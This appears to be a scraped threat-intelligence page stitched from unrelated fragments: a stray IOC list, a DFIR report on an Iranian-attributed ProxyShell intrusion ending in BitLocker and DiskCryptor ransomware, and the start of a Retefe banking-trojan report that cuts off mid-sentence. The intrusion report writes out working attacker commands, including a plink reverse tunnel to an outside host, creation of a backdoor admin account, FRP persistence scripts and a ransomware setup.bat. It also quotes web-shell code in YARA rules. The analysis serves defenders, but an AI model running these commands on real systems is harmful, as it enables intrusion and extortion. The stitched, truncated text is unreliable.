hxxps://wordkeyvpload[.]org/index.php - hxxps://wordkeyvpload[.]org/news.php - hxxps://wordkeyvpload[.]org/admin/get.php - hxxps://wordkeyvpload[.]org/login/process.php ## Domains - wordkeyvpload[.]net - wordkeyvpload[.]org - jimbeam[.]live ## IPs - 131.153.96[.]114 - 185.117.88[.]19 - 94.140.112[.]178
# Exchange Exploit Leads to Domain Wide Ransomware ## Intro In late September, we observed an intrusion in which initial access was gained by the threat actor exploiting multiple vulnerabilities in Microsoft Exchange. The threat actors in this case were attributed to a group Microsoft tracks as Phosphorus (aka APT35, Charming Kitten, Newscaster, TA453, Magic Hound, etc.) which is suspected to be an Iranian nation state operator. ProxyShell was used to deploy multiple web shells which led to discovery actions, dumping of LSASS, use of Plink and Fast Reverse Proxy to proxy RDP connections into the environment. Furthermore, the actors encrypted systems domain wide, using BitLocker on servers and DiskCryptor on workstations, rather than affiliating with Ransomware as a Service (RaaS) programs or building an encryptor from scratch. ProxyShell is a name given to a combination of three vulnerabilities: CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. An attacker chaining the exploitation of these vulnerabilities could execute arbitrary code with SYSTEM privileges on Exchange servers. The threat actors conducted this intrusion with almost no malware. It was a rare occurrence of a ransomware attack where Cobalt Strike was not used or any other C2 framework. ## Case Summary We observed an intrusion where an adversary exploited multiple Exchange vulnerabilities (ProxyShell) to drop multiple web shells. Over the course of three days, three different web shells were dropped in publicly accessible directories. These web shells, exposed to the internet, were used to execute arbitrary code on the Microsoft Exchange Server utilizing PowerShell and cmd. After gaining an initial foothold on the Exchange system, the threat actors started discovery by executing commands like `ipconfig`, `net`, `ping`, `systeminfo`, and others, using the previously dropped web shells. This battery of initial discovery included a network call out to themoscowtimes[.]com. The threat actors repeated these tests twice over the first two days. On the third day, the next phase of the intrusion was underway. Since the commands executed via the web shell run with SYSTEM level privileges, threat actors took advantage of this and enabled a built-in account DefaultAccount, set the password and added it to Administrator and Remote Desktop Users groups. The threat actors then dropped Plink and established an SSH tunnel to expose RDP over the tunnel. They then connected to the Exchange server over RDP using the DefaultAccount account. They then copied their tools into the environment via RDP, which was observed when CacheTask.zip was copied to disk. This compressed file had a few files in it: - CacheTask.bat - CacheTask.xml - dllhost.exe - install-proxy.bat - RuntimeBroker Right after the transfer, the adversaries executed install-proxy.bat to create two directories and move CacheTask.bat, dllhost.exe and RuntimeBroker into their respective folder. A scheduled task was created and executed, to execute install-proxy.bat, which established network persistence via Fast Reverse Proxy (FRP) which was used to proxy RDP traffic during the intrusion. Utilizing the Plink RDP connection, the threat actor dumped LSASS using Task Manager. Thirty minutes later, the threat actor started using a domain administrator account. Using the stolen Domain Admin account, adversaries performed port scanning with KPortScan 3.0 and then moved laterally using RDP. Targeted servers included backup systems and domain controllers. The threat actor also deployed the FRP package to these systems after gaining access. Finally, the threat actors deployed setup.bat across the servers in the environment using RDP and then used an open source disk encryption utility to encrypt the workstations. Setup.bat ran commands to enable BitLocker encryption, which resulted in the hosts being inoperable. To encrypt workstations, an open source utility called DiskCryptor was utilized. This was dropped on the workstations via RDP sessions and then executed to install the utility and setup the encryption. The utility required a reboot to install a kernel mode driver and then another reboot to lock out access to the workstations. The time to ransom (TTR) of this intrusion, from the first successful ProxyShell exploitation to ransom, was around 42 hours. If the blue team failed to detect the intrusion up until the DefaultAccount being enabled, they would have had 8 hours to respond and evict the threat actors before being ransomed. The threat actors left a ransom note requesting 8,000 USD to get the encryption keys for the systems. ## Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, BazarLoader, etc. We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services. All artifacts including web shells, files, IPs, etc were added to this service in September. ## Timeline Analysis and reporting completed by @0xtornado & @v3t0_ Reviewed by @samaritan_o & @svch0st ## MITRE ATT&CK ### Initial Access This time we will talk about ProxyShell, which revealed itself around August 2021. Once again, the vulnerability affects Microsoft Exchange servers. Specifically, the on-prem versions identified as Exchange Server 2013, Exchange Server 2016 and Exchange Server 2019. It is interesting to note how the ProxyShell vulnerability, originally identified and exploited by Orange Tsai (@orange_8361), includes a chain of 3 different CVEs: - CVE-2021-34473 - CVE-2021-34523 - CVE-2021-31207 In this specific scenario, we observed the presence and exploitation of all the CVEs indicated above so; specifically, the attacker was able to exploit a Pre-auth Path Confusion Leads to ACL Bypass (CVE-2021-34473), an Elevation of Privilege on Exchange PowerShell Backend (CVE-2021-34523), and finally a Post-auth Arbitrary-File-Write Leads to RCE (CVE-2021-31207). This last CVE allowed the creation of multiple web shells. The method used by the actor in this incident was to first use the elevated PowerShell privileges to run the following discovery cmdlets: - Get-MailboxRegionalConfiguration - Get-Mailbox - Get-ExchangeServer - Get-InboxRule This was shortly followed by the cmdlet “New-ManagementRoleAssignment” responsible for granting mailbox import/export privileges before running “New-MailboxExportRequest”. The cmdlet would export a Mailbox to a provided location with the .aspx extension. While the file is a legitimate .pst file, it contains plaintext web shell code that is rendered by IIS when requested. ### Web Shells Three web shells were spotted during our investigation: The login.aspx web shell is a simple web shell which takes a command and runs it using cmd.exe. We believe the threat actor used aspx_qdajscizfzc.aspx to upload login.aspx and that’s why the parent process is w3wp. The other two web shells were dropped upon the successful exploitation of ProxyShell. Running file command on these two web shells shows that they are actually PST files that contain web shell: - aspx_gtonvbgidhh.aspx: Microsoft Outlook email folder (>=2003) - aspx_qdajscizfzx.aspx: Microsoft Outlook email folder (>=2003) The first web shell, aspx_qdajscizfzx.aspx, can upload files and runs cmd.exe. The second web shell, aspx_gtonvbgidhh.aspx, can upload files and runs powershell.exe. ## Execution The threat actors executed a script named install-proxy.bat, containing the following lines of code: ```batch @echo off cd /D "%~dp0" mkdir C:\ProgramData\Microsoft\Windows\Runtime\ mkdir C:\ProgramData\Microsoft\Windows\DllHost\ move /Y dllhost.exe C:\ProgramData\Microsoft\Windows\DllHost\dllhost.exe move /Y RuntimeBroker C:\ProgramData\Microsoft\Windows\Runtime\RuntimeBroker move /Y CacheTask.bat C:\ProgramData\Microsoft\CacheTask.bat schtasks.exe /End /tn "\Microsoft\Windows\Maintenance\CacheTask" schtasks.exe /Delete /tn "\Microsoft\Windows\Maintenance\CacheTask" schtasks.exe /Create /F /XML CacheTask.xml /tn "\Microsoft\Windows\Maintenance\CacheTask" schtasks.exe /Run /tn "\Microsoft\Windows\Maintenance\CacheTask" del /F CacheTask.xml start /b "" cmd /c del "%~f0"&exit /b ``` The script creates two directories, then moves files into their respective directories. It first stops and then deletes a task named CacheTask if it exists. It then creates a scheduled task which will call an XML file which then executes CacheTask.bat. CacheTask.bat is a script that loops the execution of the Fast Reverse Proxy (FRP) binary: ```batch :loop C:\ProgramData\Microsoft\Windows\DllHost\dllhost.exe goto loop ``` The C:\ProgramData\Microsoft\Windows\Runtime\RuntimeBroker file is linked to the execution above, and contained the following lines of code which are a configuration file for FRP: ```ini [common] log_level = trace login_fail_exit = true [RedactedHOSTNAME.RedactedDOMAIN_RedactedIP] type = tcp remote_port = 10151 plugin = http_proxy use_encryption = true use_compression = true ``` The above configuration creates a http proxy bound to port 10151/tcp using encryption and compression. The threat actors also dropped and executed plink.exe, creating a remote SSH tunnel to 148.251.71[.]182 (tcp[.]symantecserver[.]co) in order to reach the RDP port on the Exchange system over the internet: ```powershell "powershell.exe" /c echo y | plink.exe -N -T -R 0.0.0.0:1251:127.0.0.1:3389 148.251.71.182 -P 22 -l forward -pw Socks@123 -no-antispoof ``` In the command line above you can see several options being used: - `-N`: To avoid starting the shell - `-T`: To avoid the allocation of a pseudo-terminal - `-R`: Forward remote port to local address - `-P 22`: Port number - `-l forward`: Login name - `-pw Socks@123`: Login password - `-no-antispoof`: To omit anti-spoofing prompt after authentication After running the above Plink command, the threat actors had RDP access into the environment over the SSH tunnel. ## Persistence ### Valid Accounts To maintain persistence on patient 0, the threat actors leveraged the built-in DefaultAccount. It is a user-neutral account that can be used to run processes that are either multi-user aware or user-agnostic. The DSMA is disabled by default on the desktop SKUs (full windows SKUs) and WS 2016 with the Desktop. To achieve persistence, the threat actors enabled the DefaultAccount by running the following command, using a web shell: ```powershell "powershell.exe" /c net user DefaultAccount /active:yes ``` After activating the account, the threat actors set the password of this account to P@ssw0rd and added it to Administrators and Remote Desktop Users groups. ```powershell "powershell.exe" /c net user DefaultAccount P@ssw0rd "powershell.exe" /c net localgroup "Remote Desktop Users" /Add DefaultAccount "powershell.exe" /c net localgroup Administrators /Add DefaultAccount ``` ### Privilege Escalation ProxyShell exploitation provided the threat actors with NT AUTHORITY\SYSTEM privileges. Those privileges allowed them to enable the DefaultAdmin account to get access to the Mail Server using valid credentials. Moreover, the threat actors managed to dump LSASS and steal a domain administrator account, which was used to perform lateral movement. ### Defense Evasion Advanced defense evasion techniques, such as impairing defenses or process injections, were not used during this intrusion. However, the threat actors performed masquerading with many of their tools: - They created login.aspx web shell in the same folder as the legitimate OWA login page. - They renamed Fast Reverse Proxy to dllhost.exe to remain stealthy. - They created the Scheduled Task with “\Microsoft\Windows\Maintenance\CacheTask” name to stay unnoticed. ### Credential Access #### LSASS Dump The threat actors dumped LSASS process manually using the Task Manager: ```plaintext File created: RuleName: - UtcTime: REDACTED 10:40:24.958 ProcessGuid: {BF388D9C-AB02-614D-B552-000000000700} ProcessId: 17480 Image: C:\Windows\system32\taskmgr.exe TargetFilename: C:\Users\DefaultAccount\AppData\Local\Temp\2\lsass.DMP ``` To facilitate the LSASS dump exfiltration, the threat actors created a zip archive named lsass.zip: ```plaintext File created: RuleName: - UtcTime: REDACTED 10:40:48.698 ProcessGuid: {BF388D9C-AADF-614D-A052-000000000700} ProcessId: 17412 Image: C:\Windows\Explorer.EXE TargetFilename: C:\Users\DefaultAccount\AppData\Local\Temp\2\lsass.zip ``` ### Discovery #### Environment Discovery As previously mentioned, we saw multiple cmdlets related to exchange: - Get-MailboxRegionalConfiguration - Get-Mailbox - Get-ExchangeServer - Get-InboxRule Using the dropped web shells, the threat actors performed the following commands: #### Port Scanning The threat actors used KPortScan 3.0, a widely used port scanning tool on Hacking Forums, to perform network scanning on the internal network. ### Lateral Movement The threat actors mainly used Remote Desktop Services (RDP) to move laterally to other servers using the stolen domain admin account. Below is an extract focusing on RDP activity from patient 0: The threat actors also appeared to use Impacket’s wmiexec to perform lateral movement on one of the domain controllers. We do not have a clear explanation for that behavior. However, we strongly believe that this was related to the deployment of the encryption script, as it happened just a few minutes before its manual execution on servers. ### Collection No data collection was observed in this intrusion. The threat actors only collected the dumped LSASS using a zip archive: ```plaintext File created: RuleName: - UtcTime: REDACTED 10:40:48.698 ProcessGuid: {BF388D9C-AADF-614D-A052-000000000700} ProcessId: 17412 Image: C:\Windows\Explorer.EXE TargetFilename: C:\Users\DefaultAccount\AppData\Local\Temp\2\lsass.zip CreationUtcTime: REDACTED 10:40:48.697 ``` ### Command and Control No Command and Control frameworks were used during this intrusion. Initial access to the environment was performed using the web shell upon the exploitation of ProxyShell, then using valid accounts and Remote Desktop Services. Threat actors created an SSH tunnel to 148.251.71[.]182 using plink in order to forward RDP access. ### Exfiltration Except lsass.zip, no data exfiltration or staging have been observed during this intrusion. ### Impact In this intrusion, the threat actors used BitLocker and an open source encrypter, DiskCryptor, in order to encrypt systems domain wide. On servers, a batch script named setup.bat was used and on workstations, the GUI application named dcrypt.exe (DiskCryptor) was executed instead. Both were executed via the threat actors after RDP login to each host. On servers, they copied over a file named setup.bat. They then manually executed the script which disables the event log service, enables BitLocker (and RDP), prepares system drive using BdeHdCfg (a BitLocker drive encryption preparation tool), restarts the system, and deletes itself. Below are the commands executed by the script: ```plaintext net stop eventlog /y sc config TermService start= auto reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d 1 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389 net start TermService REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseAdvancedStartup /t REG_DWORD /d 1 /f REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPM /t REG_DWORD /d 2 /f REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMKey /t REG_DWORD /d 2 /f REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMKeyPIN /t REG_DWORD /d 2 /f REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /V RecoveryKeyMessageSource /t REG_DWORD /d 2 /f REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMPIN /t REG_DWORD /d 2 /f REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v RecoveryKeyMessage /t REG_SZ /d " + - + - + - Your drives are Encrypted! Contact us immediately: [email protected] - + - + - " /f powershell -c "Import-Module ServerManager; ADD-WindowsFeature BitLocker -Restart" powershell -c "Install-WindowsFeature BitLocker -IncludeAllSubFeature - IncludeManagementTools -Restart" powershell -c "Initialize-Tpm -AllowClear -AllowPhysicalPresence -ErrorAction SilentlyContinue" powershell -c "Get-Service -Name defragsvc -ErrorAction SilentlyContinue | Set-Service -Status Running -ErrorAction SilentlyContinue" powershell -c "BdeHdCfg -target $env:SystemDrive shrink -quiet -restart" sc config eventlog start= auto cmd /c del "C:\Windows\setup.bat" cmd /c del "C:\Users\REDACTED\Desktop\setup.bat" ``` Running this script on servers made them inaccessible, and the following BitLocker encryption message was shown when restarted: A binary called dcrypt.exe was dropped on a backup server and immediately deleted. While this utility was not executed on any servers in the environment, it was deployed to all the workstations. The executable used is the current release of the installer for the utility DiskCryptor. We are unsure why DiskCryptor was used on workstations but we believe it may have something to do with not all workstation versions supporting BitLocker. Use of this utility on workstations ensures a reliable encryption without the need to develop their own ransomware or get into a ransomware as a service affiliate program. This executable, however, reminds you on install that it is “beta” software. The setup process then works as most windows installers and requires a reboot of the system. During installation, a kernel mode driver is added to support the encryption process. After reboot, the program GUI allows you to configure the encryption options. After encryption completed, the systems were rebooted and left with a screen displaying the ransom note requesting 8,000 USD on a domain controller which was not rebooted or locked out. The note pointed to Telegram and ProtonMail contacts. ## IOCs ### Network - Plink: 148.251.71.182 - tcp.symantecserver.co - dllhost.exe connected to the following IPs over 443: - 18.221.115.241 - 217.23.5.42 - 37.139.3.208 - 148.251.71.182 - Connected to aspx_gtonvbgidhh.aspx: - 198.144.189.74 - 86.57.38.156 ### File - dcrypt.exe - md5: 3375fe67827671e121d049f9aabefc3e - SHA1: e5286dbd0a54a110b39eb1e3e7015d82f316132e - SHA256: 02ac3a4f1cfb2723c20f3c7678b62c340c7974b95f8d9320941641d5c6fd2fee - dllhost.exe - md5: d4a55e486f5e28168bc4554cffa64ea0 - SHA1: 49c222afbe9c610fa75ffbbfb454728e608c8b57 - SHA256: e3eac25c3beb77ffed609c53b447a81ec8a0e20fb94a6442a51d72ca9e6f7cd2 - login.aspx - md5: 7c2b567b659246d2b278da500daa9abe - SHA1: 83d21bb502b73016ec0ad7d6c725d71aaffa0f6d - SHA256: 98ccde0e1a5e6c7071623b8b294df53d8e750ff2fa22070b19a88faeaa3d32b0 - aspx_gtonvbgidhh.aspx - md5: 34623dc70d274157dbc6e08b21154a3f - SHA1: 3664e6e27fb2784f44f6dba6105ac8b90793032a - SHA256: dc4186dd9b3a4af8565f87a9a799644fce8af25e3ee8777d90ae660d48497a04 - aspx_qdajscizfzx.aspx - md5: 31f05b4ee52f0512c96d0cc6f158e083 - SHA1: ef949770ae46bb58918b0fe127bec0ec300b18a9 - SHA256: 60d22223625c86d7f3deb20f41aec40bc8e1df3ab02cf379d95554df05edf55c ## Detections ### Network - ET INFO User-Agent (python-requests) Inbound to Webserver - alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] [443,444] (msg:"ET EXPLOIT Possible Microsoft Exchange RCE Inbound M2 (CVE-2021-34473)"; flow:established,to_server; content:"POST"; http_method; content:"/autodiscover.json?"; http_uri; content:"/PowerShell/"; distance:0; http_uri; content:"&X-Rps-CAT="; distance:0; fast_pattern; http_uri; content:"&Email="; distance:0; http_uri; content:"autodiscover/"; distance:0; within:20; http_uri; reference:cve,2021-34473; classtype:attempted-admin; sid:2033711; rev:1; metadata:affected_product MS_Exchange, attack_target Server, created_at 2021_08_12, cve CVE_2021_34473, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_08_12;) - alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] [443,444] (msg:"ET EXPLOIT Possible Microsoft Exchange RCE with Python PSRP Client UA Inbound (CVE-2021-34473)"; flow:established,to_server; content:"POST"; http_method; content:"/autodiscover/autodiscover.json?"; http_uri; content:"Python|20|PSRP|20|Client"; fast_pattern; http_header; pcre:"/^User-Agent\x3a\x20[^\r\n]+Python\x20PSRP\x20Client/Hmi"; reference:cve,2021-34473; classtype:attempted-admin; sid:2033712; rev:1; metadata:affected_product MS_Exchange, attack_target Server, created_at 2021_08_12, cve CVE_2021_34473, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_08_12;) - alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] [443,444] (msg:"ET EXPLOIT Possible Microsoft Exchange RCE Inbound M1 (CVE-2021-34473)"; flow:established,to_server; content:"POST"; http_method; content:"/ews/exchange.asmx"; fast_pattern; http_uri; content:"<s"; http_client_body; content:"SerializedSecurityContext>"; distance:0; http_client_body; content:"Message>"; distance:0; http_client_body; content:"Attachments>"; distance:0; http_client_body; content:"Content>"; distance:0; http_client_body; content:"|60 c2 ac c2 aa|"; distance:0; within:200; http_client_body; reference:cve,2021-34473; classtype:attempted-admin; sid:2033684; rev:3; metadata:affected_product MS_Exchange, attack_target Server, created_at 2021_08_09, cve CVE_2021_34473, deployment Perimeter, deployment Internal, deployment SSLDecrypt, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_08_12;) - alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Microsoft Exchange Pre-Auth Path Confusion M2 (CVE-2021-31207)"; flow:established,to_server; content:"/autodiscover?"; nocase; http_uri; content:"/mapi/nspi"; nocase; distance:0; fast_pattern; http_uri; content:"Email=autodiscover/"; nocase; http_cookie; flowbits:set,ET.cve.2021.34473; reference:cve,2021-31207; classtype:attempted-admin; sid:2033682; rev:2; metadata:affected_product MS_Exchange, attack_target Server, created_at 2021_08_09, cve CVE_2021_31207, deployment Perimeter, deployment Internal, deployment SSLDecrypt, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_08_09;) - alert tcp [$HOME_NET,$HTTP_SERVERS] any -> any any (msg:"ET EXPLOIT Vulnerable Microsoft Exchange Server Response (CVE-2021-31207)"; flow:established,from_server; flowbits:isset,ET.cve.2021.34473; content:"302"; http_stat_code; reference:cve,2021-31207; classtype:attempted-admin; sid:2033683; rev:1; metadata:affected_product MS_Exchange, attack_target Server, created_at 2021_08_09, cve CVE_2021_31207, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_08_09;) - alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] [443,444] (msg:"ET EXPLOIT Microsoft Exchange SUID Disclosure via SSRF Inbound (CVE-2021-31207)"; flow:established,to_server; content:"/autodiscover?"; nocase; http_uri; content:"Email=autodiscover/"; nocase; http_uri; content:"/mapi/emsmdb"; nocase; distance:0; fast_pattern; http_uri; reference:cve,2021-31207; classtype:attempted-admin; sid:2033701; rev:2; metadata:affected_product MS_Exchange, attack_target Server, created_at 2021_08_10, cve CVE_2021_31207, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_08_10;) - alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Microsoft Exchange Pre-Auth Path Confusion M1 (CVE-2021-31207)"; flow:established,to_server; content:"/autodiscover?"; nocase; http_uri; fast_pattern; content:"Email=autodiscover/"; nocase; http_uri; flowbits:set,ET.cve.2021.34473; reference:cve,2021-31207; classtype:attempted-admin; sid:2033681; rev:3; metadata:affected_product MS_Exchange, attack_target Server, created_at 2021_08_09, cve CVE_2021_31207, deployment Perimeter, deployment Internal, deployment SSLDecrypt, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_08_12;) ### Sigma ### Yara Valhalla/Loki Yara Sigs - WEBSHELL_ASPX_ProxyShell_Aug21_2 - SUSP_ASPX_PossibleDropperArtifact_Aug21 ```plaintext /* YARA Rule Set Author: The DFIR Report Date: 2021-11-14 Identifier: 6898 Reference: https://thedfirreport.com */ /* Rule Set ----------------------------------------------------------------- */ import "pe" rule sig_6898_login_webshell { meta: description = "6898 - file login.aspx" author = "The DFIR Report" reference = "https://thedfirreport.com" date = "2021-11-14" hash1 = "98ccde0e1a5e6c7071623b8b294df53d8e750ff2fa22070b19a88faeaa3d32b0" strings: $s1 = "<asp:TextBox id='xpath' runat='server' Width='300px'>c:\\windows\\system32\\cmd.exe</asp:TextBox> " fullword ascii $s2 = "myProcessStartInfo.UseShellExecute = false " fullword ascii $s3 = "\"Microsoft.Exchange.ServiceHost.exe0r" fullword ascii $s4 = "myProcessStartInfo.Arguments=xcmd.text " fullword ascii $s5 = "myProcess.StartInfo = myProcessStartInfo " fullword ascii $s6 = "myProcess.Start() " fullword ascii $s7 = "myProcessStartInfo.RedirectStandardOutput = true " fullword ascii $s8 = "myProcess.Close() " fullword ascii $s9 = "Dim myStreamReader As StreamReader = myProcess.StandardOutput " fullword ascii $s10 = "<%@ import Namespace='system.IO' %>" fullword ascii $s11 = "<%@ import Namespace='System.Diagnostics' %>" fullword ascii $s12 = "Dim myProcess As New Process() " fullword ascii $s13 = "Dim myProcessStartInfo As New ProcessStartInfo(xpath.text) " fullword ascii $s14 = "example.org0" fullword ascii $s16 = "<script runat='server'> " fullword ascii $s17 = "<asp:TextBox id='xcmd' runat='server' Width='300px' Text='/c whoami'>/c whoami</asp:TextBox> " fullword ascii $s18 = "<p><asp:Button id='Button' onclick='runcmd' runat='server' Width='100px' Text='Run'></asp:Button> " fullword ascii $s19 = "Sub RunCmd() " fullword ascii condition: uint16(0) == 0x8230 and filesize < 6KB and 8 of them } rule aspx_gtonvbgidhh_webshell { meta: description = "6898 - file aspx_gtonvbgidhh.aspx" author = "The DFIR Report" reference = "https://thedfirreport.com" date = "2021-11-14" hash1 = "dc4186dd9b3a4af8565f87a9a799644fce8af25e3ee8777d90ae660d48497a04" strings: $s1 = "info.UseShellExecute = false;" fullword ascii $s2 = "info.Arguments = \"/c \" + command;" fullword ascii $s3 = "var dstFile = Path.Combine(dstDir, Path.GetFileName(httpPostedFile.FileName));" fullword ascii $s4 = "info.FileName = \"powershell.exe\";" fullword ascii $s5 = "using (StreamReader streamReader = process.StandardError)" fullword ascii $s6 = "return httpPostedFile.FileName + \" Uploaded to: \" + dstFile;" fullword ascii $s7 = "httpPostedFile.InputStream.Read(buffer, 0, fileLength);" fullword ascii $s8 = "int fileLength = httpPostedFile.ContentLength;" fullword ascii $s9 = "result = result + Environment.NewLine + \"ERROR:\" + Environment.NewLine + error;" fullword ascii $s10 = "ALAAAAAAAAAAA" fullword ascii /* base64 encoded string ',' */ $s11 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ascii /* base64 encoded string '' */ $s12 = "var result = delimiter + this.RunIt(Request.Params[\"exec_code\"]) + delimiter;" fullword ascii $s13 = "AAAAAAAAAAAAAAAAAAAAAAAA6AAAAAAAAAAAAAAA" ascii /* base64 encoded string ':' */ $s14 = "using (StreamReader streamReader = process.StandardOutput)" fullword ascii $s15 = "private string RunIt(string command)" fullword ascii $s16 = "Process process = Process.Start(info);" fullword ascii $s17 = "ProcessStartInfo info = new ProcessStartInfo();" fullword ascii $s18 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6" ascii /* base64 encoded string ':' */ $s19 = "6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ascii /* base64 encoded string '' */ $s20 = "if (Request.Params[\"exec_code\"] == \"put\")" fullword ascii condition: uint16(0) == 0x4221 and filesize < 800KB and 8 of them } rule aspx_qdajscizfzx_webshell { meta: description = "6898 - file aspx_qdajscizfzx.aspx" author = "The DFIR Report" reference = "https://thedfirreport.com" date = "2021-11-14" hash1 = "60d22223625c86d7f3deb20f41aec40bc8e1df3ab02cf379d95554df05edf55c" strings: $s1 = "info.FileName = \"cmd.exe\";" fullword ascii $s2 = "info.UseShellExecute = false;" fullword ascii $s3 = "info.Arguments = \"/c \" + command;" fullword ascii $s4 = "var dstFile = Path.Combine(dstDir, Path.GetFileName(httpPostedFile.FileName));" fullword ascii $s5 = "using (StreamReader streamReader = process.StandardError)" fullword ascii $s6 = "return httpPostedFile.FileName + \" Uploaded to: \" + dstFile;" fullword ascii $s7 = "httpPostedFile.InputStream.Read(buffer, 0, fileLength);" fullword ascii $s8 = "int fileLength = httpPostedFile.ContentLength;" fullword ascii $s9 = "result = result + Environment.NewLine + \"ERROR:\" + Environment.NewLine + error;" fullword ascii $s10 = "ALAAAAAAAAAAA" fullword ascii /* base64 encoded string ',' */ $s11 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ascii /* base64 encoded string '' */ $s12 = "var result = delimiter + this.RunIt(Request.Params[\"exec_code\"]) + delimiter;" fullword ascii $s13 = "AAAAAAAAAAAAAAAAAAAAAAAA6AAAAAAAAAAAAAAA" ascii /* base64 encoded string ':' */ $s14 = "using (StreamReader streamReader = process.StandardOutput)" fullword ascii $s15 = "private string RunIt(string command)" fullword ascii $s16 = "Process process = Process.Start(info);" fullword ascii $s17 = "ProcessStartInfo info = new ProcessStartInfo();" fullword ascii $s18 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6" ascii /* base64 encoded string ':' */ $s19 = "6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ascii /* base64 encoded string '' */ $s20 = "if (Request.Params[\"exec_code\"] == \"put\")" fullword ascii condition: uint16(0) == 0x4221 and filesize < 800KB and 8 of them } rule sig_6898_dcrypt { meta: description = "6898 - file dcrypt.exe" author = "The DFIR Report" reference = "https://thedfirreport.com" date = "2021-11-14" hash1 = "02ac3a4f1cfb2723c20f3c7678b62c340c7974b95f8d9320941641d5c6fd2fee" strings: $s1 = "For more detailed information, please visit http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline" fullword wide $s2 = "Causes Setup to create a log file in the user's TEMP directory." fullword wide $s3 = "Prevents the user from cancelling during the installation process." fullword wide $s4 = "/http://crl4.digicert.com/sha2-assured-cs-g1.crl0L" fullword ascii $s5 = "Same as /LOG, except it allows you to specify a fixed path/filename to use for the log file." fullword wide $s6 = "/PASSWORD=password" fullword wide $s7 = "The Setup program accepts optional command line parameters." fullword wide $s8 = "Overrides the default component settings." fullword wide $s9 = "Specifies the password to use." fullword wide $s10 = "/MERGETASKS=\"comma separated list of task names\"" fullword wide $s11 = "Instructs Setup to load the settings from the specified file after having checked the command line." fullword wide $s12 = "/DIR=\"x:\\dirname\"" fullword wide $s13 = "http://diskcryptor.org/ " fullword wide $s14 = "Prevents Setup from restarting the system following a successful installation, or after a Preparing to Install failure that requ" wide $s15 = "HBPLg.sse" fullword ascii $s16 = "/LOG=\"filename\"" fullword wide $s17 = "Overrides the default folder name." fullword wide $s18 = "Overrides the default setup type." fullword wide $s19 = "Overrides the default directory name." fullword wide $s20 = "* AVz'" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 5000KB and ( pe.imphash() == "48aa5c8931746a9655524f67b25a47ef" or 8 of them ) } ## MITRE - Exploit Public-Facing Application – T1190 - OS Credential Dumping – T1003 - Network Service Scanning – T1046 - Remote Desktop Protocol – T1021.001 - Account Manipulation – T1098 - Valid Accounts – T1078 - Protocol Tunneling – T1572 - Ingress Tool Transfer – T1105 - Match Legitimate Name or Location – T1036.005 - Windows Service – T1543.003 - Data Encrypted for Impact – T1486 - Web Shell – T1505.003 - System Information Discovery – T1082 - System Network Configuration Discovery – T1016 - System Owner/User Discovery – T1033 - Windows Command Shell – T1059.003 Internal case #6898
# 2019: The Return of Retefe **Overview** Retefe is a banking Trojan that historically has routed online banking traffic intended for targeted banks through a proxy instead of the web injects more typical of other bankers. In the past, Retefe campaigns have targeted Austria, Sweden, and Switzerland, among other regions, such as users of UK online banking sites. Retefe is generally delivered via zipped JavaScript as well as Microsoft Word documents. Although Retefe only appeared infrequently in 2018, the banker returned to more regular attacks on Swiss and German victims in April of 2019 with both a Windows and macOS version. Retefe’s return to the landscape was marked by several noteworthy changes: - Using stunnel instead of TOR to secure its proxy redirection and command and control communications. - The use of Smoke Loader rather than sLoad as an intermediate loader. - The abuse of a shareware application known as “Convert PDF to Word Plus 1.0”; this is a Python script that has been packaged as an executable using PyInstaller and packed into an archive using the UPX packing engine. ## Abused Shareware as Part of the Retefe Installation Stack Proofpoint researchers identified the abused shareware application in a public malware repository in March 2019. It originates from 